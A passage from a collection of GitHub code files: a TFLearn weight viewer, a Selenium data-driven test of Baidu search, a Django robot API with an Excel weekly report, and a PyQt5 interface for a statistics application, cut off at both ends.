sln.exec_solutions()\n","repo_name":"anlunjiang/algos","sub_path":"problems/_03_roman_to_int/roman_to_integer.py","file_name":"roman_to_integer.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27592063060","text":"import tensorflow as tf\nimport tflearn\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nimport matplotlib.pyplot as plt\nimport scipy\n\nnetwork = input_data(shape=[None, 130, 320, 1])\nfc1 = tflearn.fully_connected(network, 64, activation='tanh',regularizer='L2', weight_decay=0.001)\nnetwork = tflearn.dropout(fc1, 1.0)\nfc2 = tflearn.fully_connected(network, 64, activation='tanh', regularizer='L2', weight_decay=0.001)\nnetwork = tflearn.dropout(fc2, 1.0)\nnetwork = tflearn.fully_connected(network, 3, activation='softmax')\n\n\nmodel = tflearn.DNN(network)\nmodel.load('Felix_1frame_GrayCropped_RightAllDrivers_DNN1', weights_only=True)\na = model.get_weights(fc1.W)\n\nfor i in xrange(a.shape[1]):\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n ax1.imshow(a[:, i].reshape([130, 320]))\n plt.show()\n","repo_name":"AdamIshay/TF_Rover","sub_path":"viz_weights.py","file_name":"viz_weights.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"33192368583","text":"import unittest\nfrom selenium import webdriver\nfrom ddt import ddt,data,unpack\nfrom time import sleep\n\n@ddt\nclass Test_baidu(unittest.TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n cls.driver = webdriver.Chrome()\n cls.base_url = \"https://www.baidu.com/\"\n\n\n # 编写驱动方法\n def baidu_search(self, keyword):\n self.driver.get(self.base_url)\n self.driver.find_element_by_css_selector(\"#kw\").send_keys(keyword)\n self.driver.find_element_by_css_selector(\"#su\").click()\n sleep(1)\n\n @data([\"case1\", \"selenium\"], [\"case2\", \"unittest\"], [\"case3\", \"ddt\"])\n @unpack\n def test_baidu_ddt1(self, case, keyword):\n print(\"test one:\", case)\n self.baidu_search(keyword)\n self.assertEqual(self.driver.title,keyword+\"_百度搜索\")\n\n @data((\"case1\", \"selenium\"),(\"case2\", \"unittest\"), (\"case3\", \"ddt\"))\n @unpack\n def test_baidu_ddt2(self, case, keyword):\n print(\"test two\", case)\n self.baidu_search(keyword)\n self.assertEqual(self.driver.title, keyword+\"_百度搜索\")\n\n @data({\"keyword\": \"selenium\"}, {\"keyword\": \"unittest\"}, {\"keyword\": \"ddt\"})\n @unpack\n def test_baidu_ddt3(self, keyword):\n print(\"test three\",keyword)\n self.baidu_search(keyword)\n self.assertEqual(self.driver.title, keyword+\"_百度搜索\")\n\n @classmethod\n def tearDownClass(cls) -> None:\n cls.driver.quit()\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n\n\n","repo_name":"UULIN/automation_test","sub_path":"unit7_unittest_expand/test_case/test_baidu_ddt.py","file_name":"test_baidu_ddt.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73301445285","text":"from datetime import datetime, timedelta\n\nimport openpyxl\nfrom io import BytesIO\n\nfrom django.core.exceptions import ValidationError\nfrom django.http import JsonResponse, HttpResponse\nfrom django.views import View\nfrom .models import Robot\nimport json\n\nfrom collections import defaultdict\n\n\nclass CreatedRobotView(View):\n def post(self, request):\n try:\n data = json.loads(request.body)\n model = data['model']\n version = data['version']\n created_str = data['created']\n\n # Проверяем форматирование\n if len(model) != 2:\n raise ValidationError('The model must contain two characters')\n if len(version) != 2:\n raise ValidationError('The version must contain two characters')\n try:\n created = datetime.strptime(created_str, '%Y-%m-%d %H:%M:%S')\n except ValueError:\n raise ValidationError('Incorrect date format. Use format: YYYY-mm-dd HH:MM:SS')\n\n # Создаем серию на основе модели и версии\n serial = f\"{model}-{version}\"\n\n robot = Robot.objects.create(serial=serial, model=model, version=version, created=created)\n\n response_data = {'message': 'Robot created successfully'}\n return JsonResponse(response_data, status=201)\n except KeyError:\n response_data = {'message': 'Invalid data format'}\n x = JsonResponse(response_data, status=400)\n return x\n except ValidationError as e:\n response_data = {'message': str(e)}\n return JsonResponse(response_data, status=400)\n\n def get(self, request):\n robots = Robot.objects.all()\n robot_data = [{'serial': robot.serial, 'model': robot.model, 'version': robot.version, 'created': robot.created}\n for robot in robots]\n return JsonResponse(robot_data, safe=False)\n\n\nclass DownloadReports(View):\n def get(self, request):\n # Извлекаем роботов за последнюю неделю за 7 полных дней от вчерашней даты\n today = datetime.today()\n end_of_last_week = (today - timedelta(days=1)).replace(hour=23, minute=59, second=59, microsecond=999999)\n start_of_last_week = (end_of_last_week - timedelta(days=6)).replace(hour=0, minute=0, second=0, microsecond=0)\n\n robots = Robot.objects.filter(created__range=(start_of_last_week, end_of_last_week))\n\n # Создаем словарь для подсчета количества версий для каждой модели\n model_version_counts = defaultdict(lambda: defaultdict(int))\n\n for robot in robots:\n model_version_counts[robot.model][robot.version] += 1\n\n # Создаем Excel-файл и заполняем каждый лист моделями\n workbook = openpyxl.Workbook()\n for model, version_counts in model_version_counts.items():\n worksheet = workbook.create_sheet(title=model)\n worksheet.append(['Модель', 'Версия', 'Количество за неделю'])\n for version, count in version_counts.items():\n worksheet.append([model, version, count])\n\n # Удаляем первый автоматически созданный лист\n default_sheet = workbook.get_sheet_by_name('Sheet')\n workbook.remove(default_sheet)\n\n # Создаем байтовый объект для хранения файла Excel\n excel_file = BytesIO()\n workbook.save(excel_file)\n excel_file.seek(0)\n\n # Создаем имя файла\n file_name = f\"robot_counts_{start_of_last_week.strftime('%Y-%m-%d')}_{end_of_last_week.strftime('%Y-%m-%d')}\"\n\n # Создаем HTTP-ответ с содержимым файла Excel\n response = HttpResponse(excel_file.read(), content_type='application/ms-excel')\n response['Content-Disposition'] = f'attachment; filename=\"{file_name}.xlsx\"'\n\n return response\n","repo_name":"VerP404/R4C","sub_path":"robots/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21003066676","text":"from PyQt5.QtCore import (QCoreApplication, QMetaObject, QObject, QPoint,\n QRect, QSize, QUrl)\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import (QBrush, QColor, QConicalGradient, QCursor, QFont,\n QFontDatabase, QIcon, QLinearGradient, QPalette, QPainter, QPixmap,\n QRadialGradient)\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import *\n\n#import main\n\n \n\nclass Ui_MainWindow(QMainWindow):\n def setupUi(self, MainWindow):\n if MainWindow.objectName():\n MainWindow.setObjectName(u\"MainWindow\")\n MainWindow.resize(2000, 1000)\n MainWindow.setMinimumSize(QSize(1000, 500))\n MainWindow.setStyleSheet(u\"background-color: rgb(45, 45, 45);\")\n self.centralwidget = QWidget(MainWindow)\n self.centralwidget.setObjectName(u\"centralwidget\")\n self.verticalLayout = QVBoxLayout(self.centralwidget)\n self.verticalLayout.setSpacing(0)\n self.verticalLayout.setObjectName(u\"verticalLayout\")\n self.verticalLayout.setContentsMargins(0, 0, 0, 0)\n self.Top_Bar = QFrame(self.centralwidget)\n self.Top_Bar.setObjectName(u\"Top_Bar\")\n self.Top_Bar.setMaximumSize(QSize(16777215, 40))\n self.Top_Bar.setStyleSheet(u\"background-color: rgb(35, 35, 35);\")\n self.Top_Bar.setFrameShape(QFrame.NoFrame)\n self.Top_Bar.setFrameShadow(QFrame.Raised)\n self.horizontalLayout = QHBoxLayout(self.Top_Bar)\n self.horizontalLayout.setSpacing(0)\n self.horizontalLayout.setObjectName(u\"horizontalLayout\")\n self.horizontalLayout.setContentsMargins(0, 0, 0, 0)\n self.frame_toggle = QFrame(self.Top_Bar)\n self.frame_toggle.setObjectName(u\"frame_toggle\")\n self.frame_toggle.setMaximumSize(QSize(200, 40))\n self.frame_toggle.setStyleSheet(u\"background-color: rgb(85, 170, 255);\")\n self.frame_toggle.setFrameShape(QFrame.StyledPanel)\n self.frame_toggle.setFrameShadow(QFrame.Raised)\n self.verticalLayout_2 = QVBoxLayout(self.frame_toggle)\n self.verticalLayout_2.setSpacing(0)\n self.verticalLayout_2.setObjectName(u\"verticalLayout_2\")\n self.verticalLayout_2.setContentsMargins(0, 0, 0, 0)\n self.Btn_Toggle = QPushButton(self.frame_toggle)\n self.Btn_Toggle.setObjectName(u\"Btn_Toggle\")\n sizePolicy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.Btn_Toggle.sizePolicy().hasHeightForWidth())\n self.Btn_Toggle.setSizePolicy(sizePolicy)\n self.Btn_Toggle.setStyleSheet(u\"color: rgb(255, 255, 255);\\n\"\n\"border: 0px solid;\")\n\n self.verticalLayout_2.addWidget(self.Btn_Toggle)\n\n\n self.horizontalLayout.addWidget(self.frame_toggle)\n\n self.frame_top = QFrame(self.Top_Bar)\n self.frame_top.setObjectName(u\"frame_top\")\n self.frame_top.setFrameShape(QFrame.StyledPanel)\n self.frame_top.setFrameShadow(QFrame.Raised)\n\n self.horizontalLayout.addWidget(self.frame_top)\n\n\n self.verticalLayout.addWidget(self.Top_Bar)\n\n self.Content = QFrame(self.centralwidget)\n self.Content.setObjectName(u\"Content\")\n self.Content.setFrameShape(QFrame.NoFrame)\n self.Content.setFrameShadow(QFrame.Raised)\n self.horizontalLayout_2 = QHBoxLayout(self.Content)\n self.horizontalLayout_2.setSpacing(0)\n self.horizontalLayout_2.setObjectName(u\"horizontalLayout_2\")\n self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0)\n self.frame_left_menu = QFrame(self.Content)\n self.frame_left_menu.setObjectName(u\"frame_left_menu\")\n self.frame_left_menu.setMinimumSize(QSize(200, 0))\n self.frame_left_menu.setMaximumSize(QSize(200, 16777215))\n self.frame_left_menu.setStyleSheet(u\"background-color: rgb(35, 35, 35);\")\n self.frame_left_menu.setFrameShape(QFrame.StyledPanel)\n self.frame_left_menu.setFrameShadow(QFrame.Raised)\n self.verticalLayout_3 = QVBoxLayout(self.frame_left_menu)\n self.verticalLayout_3.setObjectName(u\"verticalLayout_3\")\n self.verticalLayout_3.setContentsMargins(0, 0, 0, 0)\n self.frame_top_menus = QFrame(self.frame_left_menu)\n self.frame_top_menus.setObjectName(u\"frame_top_menus\")\n self.frame_top_menus.setFrameShape(QFrame.NoFrame)\n self.frame_top_menus.setFrameShadow(QFrame.Raised)\n\n\n self.verticalLayout_4 = QVBoxLayout(self.frame_top_menus)\n self.verticalLayout_4.setSpacing(0)\n self.verticalLayout_4.setObjectName(u\"verticalLayout_4\")\n self.verticalLayout_4.setContentsMargins(0, 0, 0, 0)\n\n# КНОПКИ\n####################################################################################################################### \n self.btn_page_1 = QPushButton(self.frame_top_menus)\n self.btn_page_1.setObjectName(u\"btn_page_1\")\n self.btn_page_1.setMinimumSize(QSize(0, 40))\n self.btn_page_1.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_1)\n\n self.btn_page_2 = QPushButton(self.frame_top_menus)\n self.btn_page_2.setObjectName(u\"btn_page_2\")\n self.btn_page_2.setMinimumSize(QSize(0, 40))\n self.btn_page_2.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_2)\n\n self.btn_page_3 = QPushButton(self.frame_top_menus)\n self.btn_page_3.setObjectName(u\"btn_page_3\")\n self.btn_page_3.setMinimumSize(QSize(0, 40))\n self.btn_page_3.setStyleSheet(u\"QPushButton {\\n\"\"color: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_3)\n\n self.btn_page_7 = QPushButton(self.frame_top_menus)\n self.btn_page_7.setObjectName(u\"btn_page_7\")\n self.btn_page_7.setMinimumSize(QSize(0, 40))\n self.btn_page_7.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_7)\n\n self.btn_page_4 = QPushButton(self.frame_top_menus)\n self.btn_page_4.setObjectName(u\"btn_page_3\")\n self.btn_page_4.setMinimumSize(QSize(0, 40))\n self.btn_page_4.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_4)\n\n self.btn_page_5 = QPushButton(self.frame_top_menus)\n self.btn_page_5.setObjectName(u\"btn_page_4\")\n self.btn_page_5.setMinimumSize(QSize(0, 40))\n self.btn_page_5.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_5)\n\n self.btn_page_6 = QPushButton(self.frame_top_menus)\n self.btn_page_6.setObjectName(u\"btn_page_5\")\n self.btn_page_6.setMinimumSize(QSize(0, 40))\n self.btn_page_6.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.btn_page_6)\n\n self.calc_btn = QPushButton(self.frame_top_menus)\n self.calc_btn.setObjectName(u\"calc_btn\")\n self.calc_btn.setMinimumSize(QSize(0, 40))\n self.calc_btn.setStyleSheet(u\"QPushButton {\\n\"\n\"\tcolor: rgb(255, 255, 255);\\n\"\n\"\tbackground-color: rgb(35, 35, 35);\\n\"\n\"\tborder: 0px solid;\\n\"\n\"}\\n\"\n\"QPushButton:hover {\\n\"\n\"\tbackground-color: rgb(85, 170, 255);\\n\"\n\"}\")\n\n self.verticalLayout_4.addWidget(self.calc_btn)\n###############################################################################################################\n \n\n\n self.verticalLayout_3.addWidget(self.frame_top_menus, 0, Qt.AlignTop)\n\n\n self.horizontalLayout_2.addWidget(self.frame_left_menu)\n\n self.frame_pages = QFrame(self.Content)\n self.frame_pages.setObjectName(u\"frame_pages\")\n self.frame_pages.setFrameShape(QFrame.StyledPanel)\n self.frame_pages.setFrameShadow(QFrame.Raised)\n self.verticalLayout_5 = QVBoxLayout(self.frame_pages)\n self.verticalLayout_5.setObjectName(u\"verticalLayout_5\")\n self.stackedWidget = QStackedWidget(self.frame_pages)\n self.stackedWidget.setObjectName(u\"stackedWidget\")\n\n # СТРАНИЦЫ\n ################################################################################################################\n self.page_1 = QWidget()\n self.page_1.setObjectName(u\"page_1\")\n self.verticalLayout_7 = QVBoxLayout(self.page_1)\n self.verticalLayout_7.setObjectName(u\"verticalLayout_7\")\n\n \n\n\n #self.label_1 = QLabel(self.page_1)\n #self.label_1.setObjectName(u\"label_1\")\n #font = QFont()\n #font.setPointSize(40)\n #self.label_1.setFont(font)\n #self.label_1.setStyleSheet(u\"color: #FFF;\")\n #self.label_1.setAlignment(Qt.AlignCenter) \n self.pandasTv = QTableView()\n self.pandasTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.pandasTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\")\n \n self.verticalLayout_7.addWidget(self.pandasTv)\n self.pandasTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n \n ''' \n model = PandasModel(main.df)\n self.pandasTv.setModel(model)\n '''\n #self.verticalLayout_7.addWidget(self.label_1)\n\n self.stackedWidget.addWidget(self.page_1)\n\n self.page_2 = QWidget()\n self.page_2.setObjectName(u\"page_2\")\n self.verticalLayout_6 = QVBoxLayout(self.page_2)\n self.verticalLayout_6.setObjectName(u\"verticalLayout_6\")\n\n self.normedTv = QTableView()\n self.normedTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.normedTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\")\n \n self.verticalLayout_6.addWidget(self.normedTv)\n self.normedTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n #self.verticalLayout_6.setObjectName(u\"verticalLayout_6\")\n #self.label_2 = QLabel(self.page_2)\n #self.label_2.setObjectName(u\"label_2\")\n #self.label_2.setFont(font)\n #self.label_2.setStyleSheet(u\"color: #FFF;\")\n #self.label_2.setAlignment(Qt.AlignCenter)\n\n #self.verticalLayout_6.addWidget(self.label_2)\n\n self.stackedWidget.addWidget(self.page_2)\n self.page_3 = QWidget()\n self.page_3.setObjectName(u\"page_3\")\n self.verticalLayout_8 = QVBoxLayout(self.page_3)\n self.verticalLayout_8.setObjectName(u\"verticalLayout_8\")\n #self.label = QLabel(self.page_3)\n #self.label.setObjectName(u\"label\")\n #self.label.setFont(font)\n #self.label.setStyleSheet(u\"color: #FFF;\")\n #self.label.setAlignment(Qt.AlignCenter)\n self.describeTv = QTableView()\n self.describeTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.describeTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\")\n \n self.verticalLayout_8.addWidget(self.describeTv)\n self.describeTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n\n #self.verticalLayout_8.addWidget(self.label)\n\n \n\n self.stackedWidget.addWidget(self.page_3)\n\n self.page_7 = QWidget()\n self.page_7.setObjectName(u\"page_7\")\n self.verticalLayout_12 = QVBoxLayout(self.page_7)\n self.verticalLayout_12.setObjectName(u\"verticalLayout_12\")\n #self.label_4 = QLabel(self.page_4)\n #self.label_4.setObjectName(u\"label\")\n #self.label_4.setFont(font)\n #self.label_4.setStyleSheet(u\"color: #FFF;\")\n #self.label_4.setAlignment(Qt.AlignCenter)\n self.pearsonTv = QTableView()\n self.pearsonTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.pearsonTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\")\n \n self.verticalLayout_12.addWidget(self.pearsonTv)\n self.pearsonTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n #self.verticalLayout_9.addWidget(self.label_4)\n\n self.stackedWidget.addWidget(self.page_7)\n\n self.page_4 = QWidget()\n self.page_4.setObjectName(u\"page_3\")\n self.verticalLayout_9 = QVBoxLayout(self.page_4)\n self.verticalLayout_9.setObjectName(u\"verticalLayout_9\")\n #self.label_4 = QLabel(self.page_4)\n #self.label_4.setObjectName(u\"label\")\n #self.label_4.setFont(font)\n #self.label_4.setStyleSheet(u\"color: #FFF;\")\n #self.label_4.setAlignment(Qt.AlignCenter)\n self.paircorrTv = QTableView()\n self.paircorrTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n #self.paircorrTv.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.paircorrTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\")\n \n self.verticalLayout_9.addWidget(self.paircorrTv)\n self.paircorrTv.setSortingEnabled(True) \n font = QFont()\n font.setPointSize(40) \n self.paircorrsignTv = QTableView()\n self.paircorrsignTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n #self.paircorrTv.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.paircorrsignTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\")\n \n self.verticalLayout_9.addWidget(self.paircorrsignTv)\n self.paircorrsignTv.setSortingEnabled(True) \n font = QFont()\n font.setPointSize(40) \n #self.verticalLayout_9.addWidget(self.label_4)\n\n self.stackedWidget.addWidget(self.page_4)\n\n self.page_5 = QWidget()\n self.page_5.setObjectName(u\"page_4\")\n self.verticalLayout_10 = QVBoxLayout(self.page_5)\n self.verticalLayout_10.setObjectName(u\"verticalLayout_10\")\n #self.label_4 = QLabel(self.page_4)\n #self.label_4.setObjectName(u\"label\")\n #self.label_4.setFont(font)\n #self.label_4.setStyleSheet(u\"color: #FFF;\")\n #self.label_4.setAlignment(Qt.AlignCenter)\n self.partialcorrTv = QTableView()\n self.partialcorrTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.partialcorrTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\")\n \n self.verticalLayout_10.addWidget(self.partialcorrTv)\n self.partialcorrTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n #self.verticalLayout_9.addWidget(self.label_4)\n\n self.partialcorrsignTv = QTableView()\n self.partialcorrsignTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.partialcorrsignTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\")\n \n self.verticalLayout_10.addWidget(self.partialcorrsignTv)\n self.partialcorrsignTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n \n\n self.stackedWidget.addWidget(self.page_5)\n\n self.page_6 = QWidget()\n self.page_6.setObjectName(u\"page_5\")\n self.verticalLayout_11 = QVBoxLayout(self.page_6)\n self.verticalLayout_11.setObjectName(u\"verticalLayout_11\") \n\n self.regr_coefTv = QTableView()\n self.regr_coefTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.regr_coefTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\") \n \n self.regr_coefTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n self.verticalLayout_11.addWidget(self.regr_coefTv)\n\n self.regr_coefTv2 = QTableView()\n self.regr_coefTv2.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.regr_coefTv2.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\") \n \n self.regr_coefTv2.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n self.verticalLayout_11.addWidget(self.regr_coefTv2)\n\n self.regr_coefTv3 = QTableView()\n self.regr_coefTv3.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.regr_coefTv3.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\") \n \n self.regr_coefTv3.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n self.verticalLayout_11.addWidget(self.regr_coefTv3)\n '''\n central_widget = QWidget()\n self.setCentralWidget(central_widget)\n\n self.m_w11 = QWidget()\n self.m_w12 = QWidget()\n self.m_w21 = QWidget()\n self.m_w22 = QWidget()\n\n lay = QGridLayout(central_widget)\n\n for w, (r, c) in zip(\n (self.m_w11, self.m_w12, self.m_w21, self.m_w22),\n ((0, 0), (0, 1), (1, 0), (1, 1)),\n ):\n lay.addWidget(w, r, c)\n for c in range(2):\n lay.setColumnStretch(c, 1)\n for r in range(2):\n lay.setRowStretch(r, 1)\n\n lay = QVBoxLayout(self.m_w11)\n lay.addWidget(QTextEdit())\n\n lay = QVBoxLayout(self.m_w12)\n self.regr_coefTv = QTableView()\n self.regr_coefTv.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n self.regr_coefTv.setStyleSheet(\"color: rgb(0, 0, 0);\"\n \"background-color: rgb(255,255, 255);\" #rgb(85, 170, 255) - цвет кнопки\n \"selection-color: yellow;\"\n \"selection-background-color: blue;\"\n \"QHeaderView::section { background-color:red };\") \n \n self.regr_coefTv.setSortingEnabled(True)\n font = QFont()\n font.setPointSize(40) \n lay.addWidget(self.regr_coefTv)\n\n lay = QVBoxLayout(self.m_w21) \n\n lay.addWidget(QLineEdit())\n # ИДЕЯ: добавить три QHBoxLayout и по кд заполнять их Label и QLineEdit и в последнем ящике сделать кнопку расчёта\n # как вариант - снести 4 клетки и выстроить 3 вертикальных QVBoxLayout (а ещё лучше 1 и туда всё пихать)\n\n lay = QVBoxLayout(self.m_w22)\n lay.addWidget(QLabel(\"Text\", alignment=Qt.AlignCenter))\n \n self.verticalLayout_11.addWidget(central_widget)\n '''\n self.stackedWidget.addWidget(self.page_6)\n\n \n########################################################################################################################\n self.verticalLayout_5.addWidget(self.stackedWidget)\n\n\n self.horizontalLayout_2.addWidget(self.frame_pages)\n\n\n self.verticalLayout.addWidget(self.Content)\n\n MainWindow.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(MainWindow)\n\n self.stackedWidget.setCurrentIndex(0)\n\n\n QMetaObject.connectSlotsByName(MainWindow)\n # setupUi\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(QCoreApplication.translate(\"MainWindow\", u\"MainWindow\", None))\n self.Btn_Toggle.setText(QCoreApplication.translate(\"MainWindow\", u\"Загрузить файл\", None))\n self.btn_page_1.setText(QCoreApplication.translate(\"MainWindow\", u\"Исходные данные\", None))\n self.btn_page_2.setText(QCoreApplication.translate(\"MainWindow\", u\"Нормированные данные\", None))\n self.btn_page_3.setText(QCoreApplication.translate(\"MainWindow\", u\"Описательная статистика\", None))\n self.btn_page_4.setText(QCoreApplication.translate(\"MainWindow\", u\"Парная корреляция\", None))\n self.btn_page_5.setText(QCoreApplication.translate(\"MainWindow\", u\"Частная корреляция\", None))\n self.btn_page_6.setText(QCoreApplication.translate(\"MainWindow\", u\"Регрессионный анализ\", None))\n self.btn_page_7.setText(QCoreApplication.translate(\"MainWindow\", u\"Проверка нормальности\", None))\n self.calc_btn.setText(QCoreApplication.translate(\"MainWindow\", u\"Калькулятор предсказания\", None))\n #self.label_1.setText(QCoreApplication.translate(\"MainWindow\", u\"PAGE 1\", None))\n #self.label_2.setText(QCoreApplication.translate(\"MainWindow\", u\"PAGE 2\", None))\n #self.label.setText(QCoreApplication.translate(\"MainWindow\", u\"PAGE 3\", None))\n #self.label_4.setText(QCoreApplication.translate(\"MainWindow\", u\"PAGE 4\", None))\n # retranslateUi\n\n\n\n","repo_name":"prussianglory/CW-Stats","sub_path":"ui_main.py","file_name":"ui_main.py","file_ext":"py","file_size_in_byte":24512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18616980279","text":"import torch\n\n\"\"\"\n一维数据的最大值池化器\n@:param kernel_size (int) – 池化器窗口大小\n@:param stride (int) – 池化器滑动步长. Default value is kernel_size\n@:param padding (int) – 边缘0填充,default 0\n@:param dilation (int)– 控制窗口内元素的跨度\n@:param return_indices (bool) – if True, 则返回结果是最大值的索引. Useful for torch.nn.MaxUnpool1d later\n@:param ceil_mode (bool) – when True, 向上取整\n\"\"\"\npool = torch.nn.MaxPool1d(kernel_size=3, stride=1)\ninput = 